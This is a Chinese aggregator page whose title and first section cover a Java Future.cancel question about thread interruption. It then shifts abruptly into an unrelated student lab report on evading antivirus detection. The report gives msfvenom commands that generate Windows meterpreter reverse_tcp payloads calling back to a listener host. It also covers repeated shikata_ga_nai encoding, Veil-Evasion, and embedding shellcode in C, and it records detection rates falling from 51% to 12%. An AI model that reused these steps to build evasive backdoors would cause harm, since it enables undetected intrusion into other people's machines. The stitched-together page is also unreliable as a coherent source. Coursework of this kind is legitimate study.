java future.cancel方法是否直接杀死线程
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了java future.cancel方法是否直接杀死线程相关的知识,希望对你有一定的参考价值。
public class TestThread
public static void main(String[] args) throws InterruptedException, ExecutionException
ExecutorService ext=Executors.newFixedThreadPool(1);
Future<String> future3=ext.submit(new Callable<String>()
public String call()
int i=0;
while(i<10)
System.out.println("callable3 running......");
try
Thread.sleep(3000);
i++;
catch (InterruptedException e)
System.out.println("Interrupted task.");
return "callable3 running";
);
Thread.sleep(100);
System.out.println("callable3 cancel=" + future3.cancel(true));
System.out.println("callable3 over");
ext.shutdown();
返回结果是:
callable3 running......
callable3 cancel=true
callable3 over
Interrupted task.
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
callable3 running......
执行了cancle()方法,为啥还是把while循环执行完毕了呢?如果将try/catch模块放在while的外层,确实是只执行一次,System.out.println("callable3 running......");。cancel方法不是直接杀死线程的吗?
试图取消执行这项任务的。如果任务已完成,这样的尝试将会失败,已经被取消了,或者不能被取消,由于某些其他原因。如果成功的话,当取消被调用这个任务还没有开始,这个任务不应该跑。如果任务已经启动,则mayInterruptIfRunning参数决定是否执行该任务的线程应该在试图停止任务被中断。
此方法返回后,后续调用isDone将始终返回true。后续调用isCancelled将始终返回true,如果该方法返回true。
参数:
mayInterruptIfRunning真,如果执行此任务的线程应该被打断;否则,在正在运行的任务允许完成
返回:
假如果任务不能被取消,通常是因为它已经正常完成;否则返回true
20145309《网络对抗技术》免杀原理与实践
20145309《网络对抗技术》免杀原理与实践
1.基础问题回答
(1)杀软是如何检测出恶意代码的?
根据特征来检测:对已存在的流行代码特征的提取与比对
根据行为来检测:是否有更改注册表行为、是否有设置自启动、是否有修改权限等等
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
加壳:就是相当于把你的后门代码封装起来,但是现在大部分公开的壳都能被杀毒软件查出来,所以加这些壳还不如不加;
加花指令:就是加一段垃圾代码,但是并不影响程序的正常执行,加了花指令后,使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果;
再编译:如果有源代码可以使用其他语言重新编写再编译,或者利用已有的shellcode构造payload重新编译生成;
修改行为:尽量少做能被杀毒软件直接检测到的敏感行为,可以使用反弹式连接,或者减少对系统注册表之类的修改。
2.实践总结与体会
本次实验做得非常艰难,但是最后在反复纠缠室友的前提下还是完成了,通过实验我了解了杀毒软件查杀的原理,以及一般恶意代码是如何伪装的。发现即使安装了杀毒软件以及防火墙,还是不能完全的保证电脑是安全的。
3.离实战还缺些什么技术或步骤?
编程能力的问题,以我现在的水平,只能理解恶意代码的基本原理,还要借助一些恶意代码的生成和编译工具,并不能全手工做出一个恶意代码,所以很容易就会被杀毒软件检查到。
4.实践过程记录
msfvenom直接生成meterpreter可执行文件
- Windows的IP地址为:192.168.1.105
- Kali的IP地址为:193.168.1.106
- 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.106 PORT=5309 -f exe > test.exe命令生成meterpreter可执行文件test.exe
- 使用ncat将文件传输到windows主机
我们上http://www.virscan.org/这个网站检测一下有多少查毒软件可以将其查杀出来
- 扫描结果:51%的杀软(20/39)报告发现病毒
Msfvenom使用编码器生成meterpreter可执行文件
编码一次:
- 使用ncat将文件传输到windows主机
再次检测:
- 描结果:46%的杀软(18/39)报告发现病毒
- 编码十次
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.1.106 PORT=5309-f
再次检测:
- 扫描结果:46%的杀软(18/39)报告发现病毒
- 编码十次
使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=192.168.1.106 PORT=5309 -f exe > test2.exe命令生成编码过的可执行文件test2.exe
- 使用ncat将文件传输到windows主机
再次检测:
- 在Kali中打开veil-evasion:直接在输入veil-evasion
- 然后在menu里面输入以下命令来生成可执行文件:
- use python/meterpreter/rev_tcp
- set LHOST 192.168.1.106
- generate
- 5309test
检测结果如下:
- 扫描结果:23%的杀软(9/39)报告发现病毒,效果显著提升。
使用C语言调用Shellcode
- 使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.95 LPORT=333 -f c命令生成一个C语言shellcode数组
- 利用这个数组在Windows主机的vs平台下写shellcode,
程序一生成就被360杀毒查杀了
在Kali下使用msf监听,运行刚刚编译生成的可执行文件,成功获取权限。
用360杀毒查杀不出来
检测结果如下:
- 扫描结果:12%的杀软(5/39)报告发现病毒。基本达成。
以上是关于java future.cancel方法是否直接杀死线程的主要内容,如果未能解决你的问题,请参考以下文章
Java秒杀实战 服务级高并发秒杀优化(RabbitMQ+接口优化)